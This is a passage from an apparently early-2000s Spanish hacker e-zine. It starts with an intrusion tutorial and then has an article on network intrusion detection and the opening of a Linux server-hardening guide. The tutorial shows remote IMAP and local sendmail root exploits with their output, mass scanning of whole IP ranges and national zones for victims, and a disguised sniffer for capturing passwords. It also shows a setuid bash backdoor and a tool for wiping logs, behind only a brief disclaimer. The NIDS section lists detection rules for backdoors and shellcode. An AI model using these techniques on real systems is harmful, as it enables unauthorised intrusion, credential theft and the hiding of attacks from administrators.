drwxr-xr-x  20 root     root         1024 Sep 19 22:42 ./
drwxr-xr-x  20 root     root         1024 Sep 19 22:42 ../
drwxr-xr-x   2 root     root         1024 Feb 17  2000 .automount/
drwxr-xr-x   2 root     root         2048 Sep 20 09:36 bin/
-rwxr-xr-x   1 root     root        31336 Sep 18 03:27 bins*
drwxr-xr-x   3 root     root         1024 Sep 18 02:31 boot/
drwxr-xr-x   7 root     root        35840 Sep 18 02:32 dev/
drwxr-xr-x  44 root     root         4096 Sep 20 14:53 etc/
drwxr-xr-x  11 root     root         4096 Sep 19 22:48 home/
-rw-r--r--   1 root     root            6 Sep 19 22:42 home.lock
drwxr-xr-x   4 root     root         3072 Sep 17 03:13 lib/
drwxr-xr-x   2 root     root        12288 Sep 17 02:52 lost+found/
drwxr-xr-x   2 root     root            0 Sep 18 02:31 misc/
drwxr-xr-x   4 root     root         1024 Sep 17 02:55 mnt/
drwxr-xr-x   2 root     root         1024 Aug 23  1999 opt/
dr-xr-xr-x  62 root     root            0 Sep 17 22:31 proc/
drwxr-x---  13 root     root         1024 Sep 18 22:53 root/
drwxr-xr-x   3 root     root         3072 Sep 18 03:22 sbin/
drwxr-xr-x   3 root     root         1024 Sep 17 03:14 tftpboot/
drwxrwxrwt  11 root     root         2048 Sep 20 15:14 tmp/
drwxr-xr-x  23 root     root         4096 Sep 17 03:09 usr/
drwxr-xr-x  24 root     root         4096 Sep 17 21:57 var/
 11:34am  up 2 days, 13:02,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
Linux servidor 2.2.14-12 #1 Tue Nov 25 13:04:07 EDT 2000 i686 unknown
uid=0(root) gid=0(root)


Este servicio solo puede ser explotado una sola ves, quiere decir que si queremos
volver a explotar por rpcbind la maquina debe ser reboteada. Si  logramos  entrar
lo hacemos directamente como root.



05 - Casos Extremos
-=-=-=-=-=-=-=-=-=-

Muchas veces tenemos un login y passwd de algun servidor por hai, pero te encuentras
con que no tiene telnet o  ssh, o  algun  medio  para logearte reomtamente, en otros
casos si tiene ssh pero la  cuenta es /bin/false  osea  que  apenas  te  conectas el
servidor te vota, justamente por no tener una bash que ejecutar, casos extremos...

Muy bien, aun en estos casos extremos podemos rootear  la  maquina, a  traves de los
distintos servicios  que  esta  corriendo, puede ser FTP (proftpd)  SMTP (sendmail),
IMAP, por dar un ejemplo, etc.


5.1 - Explotando IMAPD
-=-=-=-=-=-=-=-=-=-=-=-

Veamos un ejemplo: La maquina corre  entre  sus servicios IMAP y nosotros tenemos la
susodicha cuenta que tal parece solo servirnos para FTP. Como ya sabemos necesitamos
algo de informacion para tener  nociones basicas, en este caso el daemon (IMAP) y su
version, ya con eso podemos  aplicar  nuestro exploit favorito acompa~ado de nuestra
cuenta. veamos:

# ./imapd_exploit 

Remote exploit for IMAP4rev1 v12.261, v12.264 and 2000.284
Developed by SkyLaZarT - www.BufferOverflow.org

./imapd_exploit     [offset]
	type: [0]	Slackware 7.0 with IMAP4rev1 v12.261
	type: [1]	Slackware 7.1 with IMAP4rev1 v12.264
	type: [2]	RedHat 6.2 ZooT with IMAP4rev1 v12.264
	type: [3]	Slackware 7.0 with IMAP4rev1 2000.284


# ./imapd_exploit servidor.cl usuario contrase~a 2 0

Remote exploit for IMAP4rev1 v12.261, v12.264 and 2000.284
Developed by SkyLaZarT - www.BufferOverflow.org

Trying to exploit servidor.cl...
Using return address 0xbffff697. Shellcode size: 45 bytes

Connecting... OK
Trying to loging ... OK
Sending shellcode... OK
PRESS ENTER for exploit status!!


Exploit Success!!
uid=503(usuario) gid=231(popusers) groups=231(popusers)


Entramos al servidor como usuario normal con  sus  privilegios y derechos normales
dentro del systema, ya estando dentro lo demas es  relativamente facil, me refiero
a conseguir root  local, como  hemos  basado  nuestros  ejemplo en un rh62 podemos
correr un monton de exploits locales que hay  para esta distro. ejemplo:

# ./sxp 

...-=[ Sendmail 8.11.x exploit, (c)oded by 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  [sd@ircnet], 2001 ]=-...
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[*] Victim = /usr/sbin/sendmail
[*] Depth  = 32
[*] Offset = -16384
[*] Temp   = /tmp/.sxp
[*] ESP    = 0xbfffc248
[+] Created /tmp/.sxp
[+] Step 1. setuid() got = 0x080ad8d0
[*] Step 2. Copying /usr/sbin/sendmail to /tmp/.sxp/sm...OK
[*] Step 3. Disassembling /tmp/.sxp/sm...OK, found 3 targets
[*] Step 4. Exploiting 3 targets:
[1] (33% of targets) GOT=0x080ad8d0, VECT=0x00000064, offset=-16384
[2] (66% of targets) GOT=0x080ad8d0, VECT=0x080ca160, offset=-16384

Voila babe, entering rootshell!
Enjoy!
uid=0(root) gid=0(root) groups=508(prof)
#



06 - Tecnicas Varias
-=-=-=-=-=-=-=-=-=-=-

Con el tiempo uno va afinando su propia  tecnica y su propio estilo. Algunos optan
por explotar solo 1 tipo  de  vulnerabilidad  en  Servidores  Linux, otros  buscan
entrar por donde les sea mas sencillo, otro prueban y prueban... etc, veamos  como
explotar un solo tipo de vulnerabilidad, esto  basicamente  se logra con tener una
lista de ip´s, dentro de esa lista (texto plano) bamos buscando con un scaner el o
los tipos de vulneravilidades a  explotar, por ejemplo podemos buscar RPC y WU-FTP
o IMAP, BIND, como quieras, basta con contar con el scaner apropiado para hacer el
trabajo, ejemplo:

Queremos buscar servidores que esten corriendo portmapper (rpcbind):


6.1 - Obteniendo listas de ip´s
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# ./pscan
Usage: ./pscan   [c-block]

# ./pscan 192.168 111

El escaner comenzara a buscar  maquinas con el puerto 111 (rpcbind) abierto  desde
la direccion 192.168.0.0 hasta  la  192.168.255.255, y  nos  dejara  en un archivo
(statdx.log)  las  maquinas  que  cumplan con el requisito. Lo demas es como obvio
tomamos una ip y le pasamos el exploit, si explota bien sino seguimos con la otra,
y haci...

Nuevamente sale al vaile nmap, por que lo digo? por  que  nmap tambien puede hacer
el mismo trabajo, solo tenemos que decirle que busque  en  una subnet maquinas con
el port 111 open:

# nmap -sS -sR -P0 -O -p 111 192.168.x.x/32 > 111.log

En el archivo 111.log nos quedaran las posibles victimas.

Existe otra gran herramienta para esta utlidad, se llama scanutil, su funcionamiento
es bastante sencillo, le pasamos como argumento una lista de ips y  los  servicios y
su version ojo! a buscar, bastante interesante... veamos:

# ./scanutil -h

Usage: ./scanutil    [port] [string] ....

	  file    <----    file with the list of IPs to scan
	  port    <----    port for scan
	  string  <----    string to compare with what we receibe from the port
			    (if you dont want any string, type: null)

	Ex: ./scanutil ip.list 25 8.8.8 80 null 21 wu-2.4

# ./scanutil lista-de-ip 21 wu-2.4
200.73.8.48  <----- Port 21 + string found
200.73.8.7  <----- Port 21 + string found
200.9.100.1  <----- Port 21 + string found
216.241.1.10  <----- Port 21 + string found
......

Tambien les adjunto otro scan para sacar maquinas con wuftpd desde una lista. wu-scan
Lo mismo que los anteriores: de una lista de texto plano de ips busca maquinas con el
wuftpd guardadolo en un archivo de log.

# ./wu-scan

wu-scan by Narrow (
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 )

Usage: ./wuscan 


# ./wu-scan ips.log &

Pero yo les hablo de listas de ip y ustedes me diran ¿como consigo eso?. La verdad
es que es relativamente sencillo. Veamoslo con  un  ejemplo  algo  exagerado, pues 
obtendremos TODAS las ips de la zona .cl  Demas esta decir  que  nuestra  conexion
debe ser descente, hablo de algo superiror a unos 800 kbps, o  bien  tendremos que
reemplazar la conexion por algo de pasciencia, xD

Necesitaremos el programa z0ne, busquenlo en packetstorm, viene  ya  precompilado,
luego le damos permisos de ejecucion (chmod +x z0ne) y lo ejecutamos:

# ./z0ne

ADM	z0ne 1.1 - crazy-b

usage:	zone [-clo] [domain...]

# ./z0ne -o cl > chile.cl &


Con eso obtendras una larga lista de todas las ips del dominio .cl, el mismo ejemplo
es aplicable  a  zonas .com.ar, .co.za, etc, etc... Ahora basta con que le pasemos a 
esas listas  los distintos escanners de vulneravilidades que hemos visto y tendremos
posibles  intromisiones ;). Les  cuento que hoy hai muchos firewall y maquinas linux
que estan detectanto scaneos  de  este  tipo, los  mensages en el archivo de log que
dejan son tremendos, y alertan  a  cualquier  admin (que  revise  log´s) esta en sus 
manos correr el riesgo, aunque siempre hay formas, pueden usar  shells o simplemente
pueden no hacerlo, ha!...


6.2 - Sniffeando el Servidor
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

No pienso explicar a fondo que es sniffear o en que  consiste  tecnicamente (ya fue
explicado en la  Electron N°2 por s0ul) por que no es el objetivo de este articulo,
simplemente se~alar  que  cuando  sniffeamos  un  equipo podemos capturar todas las
conexiones que en la subnet se realicen, sesiones de SMTP, FTP, Telnet por ejemplo,
capturando porsupuesto logins y passwords. Con  esto  conseguimos cuentas reales de
usuarios y nos aseguramos la entrada futura a la maquina sin levantar sospechas. La
idea tambien  es  aprovecharse  de  esta situacion y aparte de sacar cuentas en esa
maquina tambien podemos capturar cuentas  de  maquinas  externas, usuarios  de  esa
LAN que se loggen a maquinas de afuera, y continuar con futuras intromisiones.

[Nota: Para quienes quieran profundizar en el tema del sniffing les  recomiendo  el
articulo escrito en  Electron N°2 por s0ul, donde se trata mas a fondo este tema. ]

Sniffear es relativamente sencillo, simplemente bajamos el sniffer  lo  compilamos,
le damos permisos de ejecucion (como root) y lo corremos. Usaremos  como ejemplo el
linsniffer del r00tkit lkr. Recomendaciones obvias como renombrar el sniffer a algo
menos llamativo como netcfg, syscfg, xsystem, etc y correrlo, o  bien  troyanear el
ps/top, para que el admin no se avispe con nuestro sniffer.

# mv linsniffer netcfg
# chmod +x netcfg
# ./netcfg &

Con ello el linsniffer nos dejara un archivo de log con todas las conexiones que a
capturado el archivo se llama TCP.log  y de una lectura bastante sencilla.

El problema  del  linsniffer  es que no es compatible por ejemplo con versiones mas
reciente  de rh7x, sea 7.0, 7.1, 7.2 y a muchos les da simplemente por no sniffear,
perdiendo la  oportunidad. Les doy el dato que para maquinas corriendo rh7x tenemos
al es un sniffer algo  engorroso  para  principiantes, no  es  llegar  y  correrlo, 
necesita de algunos parametros para sniffer correctamente, en cualquier caso  viene
acompa~ado por su respectiva documentacion, deja archivos con el nombre de la 
direccion ip sniffeada, de lectura tambien algo complicada, pero entendible.


6.3 - Manteniendonos en el sistema
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

Hay 101 formas para mantenernos en el sistema sin ser rastreados o  logeados, solo
dare ejemplos:

- Troyanenado el ps/top
- Usando cuentas reales de users
- * Teniendo su buen SUSHI (sed uid shell)
- Preocupandose de borrar siempre los logs
- Si usamos sinffer, renombrarlos o bien troyanearlos
- No conectandose en horas de trabajo
- Nunca killear procesos
- Usar backdoors (con password) << tema bastante visto
- Editando los bash_history
- No jugar con las tablas de routed si no sabes
- No jugar con las interfaces de red (eth0,1,2,X)
- No instalando programas sospechosos (BitchX, bouncers, etc)

En fin, son solo ejemplos y varian de un estilo a otro, pero pueden servir al iniciado.

* El sushi consiste en que cuando tenemos r00t en el sistema copiamos una shell, a un
directorio que nosotros usemos para tener nuestras tools, como /tmp/.tools/ le  damos
a esa shell  permisos  especiales (4755) para  que  cualquier  user pueda  ejecutarla 
manteniendo sus permisos y privilegios de la shell, en este caso r00t.   Ahora si nos
logeamos al sistema solo basta con ejecutar esta shell copiada  y  seremos  root, sin 
necesidad de explotar, esa es la idea.

# cp /bin/bash /tmp/.tools/shell
# chmod 4755 /tmp/.tools/shell

Logeamos como user normal:

# sh /tmp/.tools/shell
# id
bash# id
uid=12(user) gid=100(user) euid=0(root) groups=100(user)

Get r00tshell... ;)


6.4 - Borradando Nuestras Huellas
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Uno de los detalles mas importante al r00tear un sistema es sin duda borrar las
huellas que quedan de nuestro ingreso, en sistemas Linux  los archivos de logeo
quedan en /var/log/

Veamos un poco la estructura de los logs en linux: (segun /etc/syslog.conf)

/var/log/messages: Guarda un log de los usuarios que se conectaron, su ip, etc.

/var/log/secure: Guarda un registro de las ips y los demonios que se usaron.

/var/log/xferlog: Solo guarda logs de la conexiones FTP.

/var/log/utmp: Guarda un log de los usuarios que estan utilizando el sistema.

/var/log/wtmp: Guarda un log cada vez que un usuario entra al sistema o sale de el.

/var/log/lastlog: Guarda un log del momento en que un usuario entro por ultima vez.

/var/log/acct: Registra todos los comandos ejecutados por cada usuario

** No son todos los Logs pero si los mas importantes **

Seria interesante  estudiar a fondo el daemon encargado de todo el logeo en Linux.
Estoy hablando del syslog, hay montones de textos hay a  fuera, para  no  extender
demasiado esta perte no sera explicado, talves en otra ocacion.

Tenemos varias posibilidades para hacer el borrado perfecto, desde editar nosotros
mismos los archivos buscando nuestras conexiones  y  borrandolas, correr  un  buen
zapper, o borrar de raiz el archivo de log. Ojo con la ultima ocion  que  solo  se
debe ser usada como ultimo recurso, debido a que es muy sospecho  ver  el  archivo
log en 0 byte, incluso es mucho mas sospecho verlo haci que dejar nuestra conexion
logeada, creo que un punto discutible.

Como muchas veces el tiempo no es nuestro mejor aliado entonces debemos  correr  un
buen zapper, yo personalmente uso el scanutil hecho por Dr|3xe #0wn3d, es un zapper
bastante bueno, que busca tu ip en todo  el  server  y  luego  lo  limpia, quedamos
totalmente limpios, Sin huellas  ni  registros (ojo  con el .bash_history), debemos
correrlo obviamente como root:

# ./scanutil 

Uso:

 ./scanip.sh -s   : Scanea tu ip en el server (log)
                                    *  = default /var
 ./scanip.sh -c    : Limpia tu ip *(Necesita antes
		                        haber usado la primera opcion)
 ./scanip.sh -x    : No necesita de ninguna opcion anterior
				            scanea y borra a la vez *(RECOMENDABLE)
 ./scanip.sh -clean               : limpia los registros de /tmp


# ./scanutil -x 192.168.1.1 user

Asumiendo que nos logeamos desde la ip: 192.168.1.1 y con el usuario: user


07 - Conclusiones
-=-=-=-=-=-=-=-=-=

Bien se~ores, hemos llegado  el  final  de este articulo, esperando  que le saquen 
utilidades siempre educativas y nunca con fines malisiosos o  lucrativos, no es la
idea del hack. Deben todos tener super claro  que  el  ingreso  no autorizado a un
servidor es penado, no crean que es llegar, entrar, hacer  un  defaced e irse, no!
mas equivocados no pueden estar, hay toda una gran polemica  en chile de trasfondo
respecto a este tema, mucho abogados quieren cambiar la actual ley informatica, de
nosotros depende  que  sea  una  ley  que  abogue  por  el  desarrollo  de  nuevas
tecnologias, software,  etc, y  no  de  sancionar  cuanto  acto  sea  cometido  en
Internet. Que sea  sancionado el sabotaje, el espionaje, el chantaje, el lucro con
db, en  chile  las  mismas empresas de seguridad estan cometiendo algunos de estos
actos y estan inpunes.

Por otro lado  un  buen administrador debe conocer bien a su "enemigo", siempre es
bueno conocer las dos  caras, en  este  caso  tambien  los  admin  pueden  sacarle
provecho al articulo, pienso mas adelante hacer algo  mas  grande  algo  asi  como
una guia, con  cosas  mucho  mas  tecnicas, incluyendo  temas como firewalls, ids,
modulos, etc, se aceptan colaboraciones, Saludos.

EleKtr0
Electron Security Team
http://www.est.cl/


[=========================([ Electron Security Team ])===========================]





[====([ filth ])===========================================================EST-4=]
[====([ Sistemas de Deteccion de Intrusos N.I.D.S. ])========================#08=]
[==========================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]

               

  Las herramientas de detecciones de  intrusos  son  aplicaciones automaticas, las 
cuales se encargan de  detectar intrusiones  en  tiempo real, dichos  sistemas les 
llaman "Network  Intruder Detection System"  NIDS. Bueno  el  punto  escencial  es 
obtener un  sistema seguro, ante  cualquier intromision  estos sistemas  entran en 
accion, no obstante  existen varios tipos de configuraciones para los NIDS.

     - Sistemas de Bases de Datos (BDS) con informacion actualizada de ataques
       soportados.

     - Compa¤ias con informacion de ataques conocidos

  A que me refiero con esto, quiere decir  que  el NIDS al igual que los Firewalls
necesitan una base de datos con ataques soportados. Ademas  esta  BDS necesita ser
actualizada periodicamente. Un ejemplo  seria  un  FireWall Phoenix  adaptable que 
soporta denegaciones de sevicios X y aparece una nueva vulnerabilidad  que proboca
una denegacion de servicios en ese tipo de  FireWalls y el admin no ah actualizado 
la BDS. Simplemente el FireWall cae al ataque. Lo mismo ocurre con los NIDS.

La base de datos  del NIDS necesita ser especificada ya que si existen dos ataques
similares pero no! iguales el ataque pasara sin ser detectado.

     - Sistemas Adaptables

  A mi parecer son los mejores NIDS que existen hasta el momento. Aparte de la BDS
con ataques  soportados, son  capaces  mediante Inteligencia  Artificial  aprender 
nuevos  tipos de  ataques a  detectar, ademas de  poseer  una  BDS de ataques. Sus 
principales  desventajas, son de costos  muy  elevados, dificiles  de  mantener  y 
necesitan de  un admin con conocimientos  avanzados  en estadisticas y matematicas 
(no son para mi...)

  Sin  embargo  los  NIDS  no  son  cosas de otro mundo si conocen los denominados 
Network Analyzer o Sniffers, los cuales son aplicaciones de  escucha  electronica. 
Los NIDS se basan similarmente  al  funcionamientos  de  los Sniffers, para  poder 
escuchar el trafico de la red.

  Los metodos a usar son reaccion y preventivo.

  - Reaccion   : Siempre visualiza logs en el sistema, cuando detecta una anomalia
                 "actua".

  - Prevencion : Siempre escanea  el  trafico  de  la  red  (Sniffer), si  detecta 
                 paquetes en transito anomalas "actua". 


  En  la  actualidad  los  NIDS  existentes  son muy vulnerables a denegaciones de 
servicios producidas por usuarios y no por fallas en los NIDS, es por  eso  que es 
dificil parchar ciertas vulnerabilidades en NIDS, muchos de  ellos  caen a ataques
spoofeados desde direcciones  distintas  con  ataques  similares, o cuando un NIDS 
ejecuta una shell para ejecutar  comandos al detectar un ataque puede saturarse el
sistema al llamar muchas shells.

  La insercion  de  los  NIDS depende bastante de la maquina que se este usando, a 
que me refiero con esto, que  si  instalo  un  NIDS  que  escanea  logs  en vez de 
paquetes en un tarro 486 simplemente es mucha tarea para un pobre  tarro, en  esas
circunstancias es mejor instalar un NIDS con deteccion  de  ataques en paquetes en
transito (Sniffer).

        Modos de los NIDS:

  Ciertamente el NIDS  al  igual  que un FireWall emplea modos "bajo, medio, alto,
paranoico" si  es  utilizado un modo  paranoico en un NIDS siempre que se ejecuten
comandos de root por otro  usuario  el  NIDS  va  a  lanzar  alertas  de  ataques, 
ciertamente es una decicion mas  del  admin del  NIDS  establecer  el  modo. Estas
herramientas existen para muchas plataformas:


	 Ejemplos y otros.

var INTERNAL 10.0.0.0/24
var EXTERNAL !10.0.0.0/24

preprocessor http_decode: 80 443 8080
preprocessor minfrag: 128

alert TCP $EXTERNAL any -> $INTERNAL 21 (msg: "IDS1/ADMw0rm-ftp-retrieval"; content: "USER w0rm|0D0A|"; flags: AP;)
alert TCP $EXTERNAL any -> $INTERNAL 1966 (msg: "IDS222/Backdoor-FakeFTP"; flags: S;)
alert TCP $EXTERNAL any -> $INTERNAL 1269 (msg: "IDS223/Backdoor-Matrix 1.x-2.0"; flags: S;)
alert ICMP 255.255.255.0/24 any -> $INTERNAL any (msg: "IDS202/backdoor-Q-icmp"; itype: 0; dsize: ">1";)
alert TCP 255.255.255.0/24 any -> $INTERNAL any (msg: "IDS203/backdoor-Q-tcp"; flags: A; dsize: ">1";)
alert TCP $INTERNAL 7161 -> $EXTERNAL any (msg:"IDS129/cisco-catalyst-remote-access"; flags: SA;)
alert TCP $EXTERNAL 80 -> $INTERNAL any (msg: "IDS215/client-netscape47-overflow-retrieved"; content: "|33 C9 B1 10 3F E9 06 51 3C FA 47 33 C0 50 F7 D0 50|"; flags: AP;)


	 Este es un tipico ejemplo de una base de datos con ataques 
soportados por los  NIDS. Un ejemplo un ataque seria el siguiente:

	 
	Atacante -----> > NIDS ----> > Host Victima 

  La idea es siempre poner un equipo con NIDS  antes del host victima, de la misma
forma con que se tratan  los firewalls. Tambien existen aplicaciones que testean a
los  NIDS  como  el NIDSBENCH  el cual se encarga de atacar equipos  NIDS mediante
algunas tools que este posee.

        TcpReplay :   Es  una  aplicacion  que ataca los  procesos background 
                      de  la  red  con  ataques  escondidos. Lo  que  proboca 
		          anomalias arbitrarias en TcpDump mediante  los ataques. 
		          TcpReplay escanea la velocidad de la red y la velocidad 
                      de respuesta de esta misma. 

	FragRouter  :   Se  encarga  de  atacar de la misma forma como si fuese 
		          un H4X0R 1337, en  otras  palabras  usa  ataques TCP/IP 
		          listados en la base  de  datos  de  ataques  a  evadir.
	
	IdsTest	:   Consiste  en   una  metodologia  de  chequeo  de  NIDS. 
		          Chequea   vulnerabilidades   expuestas   por  empresas, 
		          y  Vulnerabilities  Scanners,  ademas  chequea  ataques 
		          DOS, exploits, etc...
    
	 NIDS con NIDSBENCH (Dise~o):

	Atacante ----->        nisbench		-----> Nids -----> Victima
			(Fragrouter, TcoReplay)



        Sistemas soportados para usar NIDS 

        UNIX, LINUX, WINDOWS, etc.

  
Tambien  existen  Cluster  con NIDS, FireWalls con NIDS, Routers con NIDS. de la 
misma forma  estos sistemas tambien poseen sistemas R.A.I.D.


    Herramientas NIDS:

    Host Sentry  : http://psionic.com/abacus/host-sentry

    Shadow       : http://www.sans.org

    MOM          : http://www.biostat.wisc.edu/~annis/mom

    Hummer       : http://www.csds.uidaho.edu/~hummer

    AAFID        : http://www.cs.purdue.edu/coast/projects/aafid-announce.html

  
Espero   en  otra  ocacion  poder  explicarles  mas  sobre  el  funcionamiento  
de  los  NIDS tambien Espero  en  un  proximo texto explicar la instalacion de
estos en sistemas LINUX ya que en wintendo nunca los he usado. Ok hasta luego.


                                                               FILTH
                                                                
                                                               Net-X Security Team
                                                               
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
                                                               
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
                                                               
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
                                                               
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
                                                               http://n3tx.cjb.net


Pd.- Si  se  preguntan  por que no he weviado tanto en este articulo con chistes y 
weas. Es porque me aburri, eso nomas chao, y visiten la web, ah una cosa disculpen
la falta de acentos y ortografia  :)



[=========================([ Electron Security Team ])===========================]





[====([ bankzide ])========================================================EST-4=]
[====([ Una Mirada a La Seguridad ])=========================================#09=]
[==========================================================([ 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  ])=]


Aqui vamos de nuevo con un articulo, el primero de este tipo que escribo yo, y 
va a tratar sobre seguridad en servidores Linux. Esta no va hacer una completa 
guia sobre seguridad, pero explicara todos los  aspectos que se deben tener en 
cuenta  y que un  admin  deberia tener claro  en el momento de  administrar un 
servidor.

Muchos admins creen que por pasar de NT a Linux  la seguridad queda en segundo
plano, y no  se preocupan, ya que  creen que Linux es  un sistema seguro y que 
viene asi por lo que ya no tendran que preocuparse. Lo mas probable es que con
esa actitud, en menos de 5 dias alguna persona habra rooteado su sistema.

Muchas veces los  administradores no saben como  parchar sus Linux Box por que
no es tan simple como  bajar un simple patch en  la web de Microsoft, sino que
tiene mas complejidad y obviamente  aun no se han familiarizado con el asunto,
cosa muy frecuente ya que Linux se esta popularizando cada vez mas.

Asumo que se  tienen  ciertos  conocimientos en  el ambiente Unix. Todo lo que
veremos aqui esta orientado a distribuciones como  Slackware y Redhat, que son
las mas comunes en los web servers. Como minimo, tambien alguna de las ultimas
versiones del Kernel. Siempre  instalar la ultima  version estable de este, ya 
que cada nueva version viene con los bugs arreglados, updates, soporte, etc. 

Este  articulo  ayudara  especificamente a asegurar  un web server. Obviamente
aprovechando que ya  se tiene un servidor, se  le saca provecho  con todos los
services, pero aqui es donde viene el problema y hay  que ser  cuidadoso. Todo
es explotable, solo es cuestion de tiempo a que alguien ocupe algun service en
contra del server.
Por otro lado, tener  acceso  local al  server es mas  que un requisito. Tener
acceso remoto a la box, significa abrir servicios explotables, que seria mejor
tenerlos  cerrados, como lo son  FTP y Telnet. Si al server se puede  ingresar
remotamente, significa que alguien ciertamente tambien podria, no?


El Kernel
---------

Este es el corazon de un sistema *nix, en efecto es casi el  sistema completo.
Esta  definido  por  su version. La version  del kernel esta definida  por dos 
partes, la  kernel version (primer y segundo numero) y el patch  level (tercer
numero). Kernel  2.2.18 por ejemplo, el  2.2 es  la kernel version y  el 18 el 
patch level de ese Kernel especifico. Si el kernel version es  un numero impar
(ej. 2.3) seria  un development  kernel. Esa  no  es  una version estable y no 
deberia ser instalada, a menos que se sea un buen Geek de Unix. Las  versiones
de development, generalmente vienen con muchos bugs facilmente  explotables. A
menos que se sea un buen programador y conocedor de Unix, no se deberia correr
una version de development del Kernel. En www.freshmeat.net se puede encontrar
siempre el ultimo Kernel.


La Cuenta Root
--------------

Otro tema de seguridad que los admins miran es el uso de la cuenta root. Para
la mayoria del trabajo, la cuenta root no se necesita, y es algo importante a
destacar. Cuando se juega con la cuenta root, es como jugar con fuego. Usarla
es un riesgo  innesesario, especialmente  si se esta corriendo una  xterm. No 
solo se pueden  cometer errores usando la cuenta  root que pueden comprometer 
la  seguridad  del  servidor, tambien  hace que  sea mas dificil saber  quien
anduvo jugando como root, que seria un paso importante para saber kien rooteo
el sistema.
La manera mas facil de  evitar problemas con  la cuenta root  es hacerse otra 
cuenta (adduser) que  tenga permisos de admin. Esto dara muchos  privilegios,
pero no de root.


Cuentas Shell
-------------

Mucha gente  pide  cuentas  en  distintos  servidores, especialmente  si  son 
administrados por conocidos suyos, familiares, o lo que sea, para espacio web
o uso de ciertos servicios, etc. Eso  esta  bien, es lo  bonito de un sistema
*nix, permitir multiples  usuarios logearse  al sistema, pero lo  malo es que
esto tiene un lado oscuro. Si alguna de esas cuentas es crakeada, ese usuario
pierde toda privacidad con respecto a sus archivos y dejara  al intruso en un
muy buen punto  para rootear. Si  se dan shells, que  sean a las personas mas
confiables  y  que  estas  establezcan  contrase~as  que  no sean  facilmente
crakeables por fuerza bruta. Otra  solucion, seria agrupar las cuentas  en un
grupo con lo  que no tendran mucho  acceso al sistema para explotarlo. Hoy en 
dia, casi todos los servidores no tienen  habilitado el servicio telnet (23), 
por lo antes explicado. 


Los Servicios
-------------

Ahora veamos todos los servicios y daemons que dejan a un *nix corriendo bien.
Si el kernel es la base, el  esqueleto del sistema, entonces  los  servicios y
los daemons  serian  la  sangre, musculos, y  la piel. Son  los  que  ejecutan
operaciones, permitir usuarios externos, sustentan  la  web, etc. Son  tambien
los que permiten la entrada mas  facil  para  rootear  el sistema. Hay  muchos
servicios que son  importantes dependiendo del uso que se  da al sistema, como
seria hostear una web. Aqui el obligado seria el Hyper-Text Transfer Protocol,
mas conocido como http. Este es el  daemon que abre el puerto 80 en  el server
para  trafico HTTP, por  lo tanto  la lectura  de la web. Este  servicio no es
estandar en un sistema *nix, y viene con cualquier  web server que  se escoga.
HTTP es uno de los servicios mas seguros.

Otro daemon que seria necesario  como el HTTP seria Cron. Este mira todos los
programas  que estan  en  el cron tab (en otras palabras, los  programas  que 
siempre deberian estar corriendo), y si  uno  de esos  esta caido, inactivo o
congelado, comienza uno nuevo para asegurarse que el programa este corriendo.
Si el programa de inicializacion del web server esta en el cron tab, cada vez
que se caiga sera reestablecido dejando la web activa de nuevo.

Muchos servicios y  daemons son  innesesarios y muy inseguros. Estos deberian
ser killeados y si es posible, desabilitandolos de  que empiezen en el primer
lugar. Estos son los que hacen posibles los defacements e intrusiones.

-> finger

El mas innesesario y mas peligroso servicio  es el finger. El demonio  finger, 
corriendo en  el puerto 79, no  sirve  casi para  nada. El unico  proposito de 
este servicio es dar informacion sobre los usuarios. Tambien es  facil hacerlo
aer, usualmente a traves de un buffer overflow que daria un root access shell.
Aqui un ejemplo de un finger a un sistema *nix:


Login: root Name: Juan Perez A.
Directory: /admins/root Shell: /usr/local/bin/bash
Last login Sat Nov 29 17:03 (CST) on ttyC0
Mail last read Wed Dec 10 14:22 2000 (CST)
No Plan

	
Como ven, esto  ofrece  cierta  informacion que  podria ser usada por algun 
intruso. Da el tipo de shell usada (bash), directorio home, nombre real (en 
algunos casos), ultima  vez que se  logeo y la  ultima vez que el  mail fue 
leido. En otro  casos, se puede ver  aun mas informacion que tambien  puede
ser utilizada para ataques por brute. Este servicio deberia ser removido de 
los   archivos   de   startup. ( generalmente  /etc/inetd.conf  dejando  en 
comentario las lineas que lo comienzan. Otros archivos  que seria bueno ver
serian el /etc/rc.d donde podrian existir archivos  que manejan los startup
services, claro que esto es diferente con todos los Unix existentes.

-> FTP 

Otro servicio  que  es  facilmente  explotable  es  el  FTPd (File Transfer 
Protocol  Daemon). Este  permite a  usuarios que accedan a archivos  en  el
sistema , como tambien  mandar (subir) archivos  al mismo. El peligro  esta
mas que deducible. Ciertamente que este protocolo es uno de  los mas usados
y razonablemente seguro, siempre hay riesgos.
Dependiendo del  FTPd que el sistema corra, puede ser posible  para algunos 
casos  bajar  los  ficheros con  los  passwords y  otro  tipo  de  material 
interesante del sistema, que pueda brindar mas informacion de utilidad, por
lo tanto hay que mantener a los usuarios restringidos, por  ejemplo dejando 
sin  permisos de lectura a /etc o si la paranoia te invade, a  ningun  otro
dir que no sea del usuario. Una version de FTPd, WUftp, es el peor ftpd que
una Box pueda correr. Tiene tantos  bugs explotables que resulta  muy facil
la entrada al sistema. Es  tan facil, que hay gente que  escanea bloques de
IP  completos (ej. 192.23.*.*) en busca de  servidores  con este daemon. Es
recomendable tener siempre las ultimas versiones del  FTPd que se va a usar
y   obviamente  siempre   estar  al   tanto  de   los  ultimos   patches  y 
vulnerabilidades. En caso que este servicio no  se le diera uso, o  casi no
se ocupe, es recomendable killearlo.

-> Telnet

Otro  servicio  que no  se deberia  ocupar (siempre y cuando  el server sea 
